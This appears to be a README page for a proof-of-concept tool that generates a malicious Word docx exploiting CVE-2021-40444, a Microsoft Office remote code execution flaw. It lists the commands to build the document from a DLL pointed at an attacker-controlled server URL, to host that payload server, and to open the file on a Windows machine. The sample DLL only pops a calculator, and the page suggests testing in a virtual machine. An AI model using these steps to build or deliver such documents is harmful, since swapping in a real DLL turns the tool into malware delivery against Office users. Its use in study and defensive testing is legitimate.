CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

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  • Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
    Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
    You need to install lcab first (sudo apt-get install lcab)
    Check REPRODUCE.md for manual reproduce steps
    If your generated cab is not working, try pointing out exploit.html URL to calc.cab
    Using
    First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()
    python3 exploit.py generate test/calc.dll http://<SRV IP>

    Once you generate the malicious docx (will be at out/) you can setup the server:
    sudo python3 exploit.py host 80

    Finally try the docx in a Windows Virtual Machine:

    Download CVE-2021-40444

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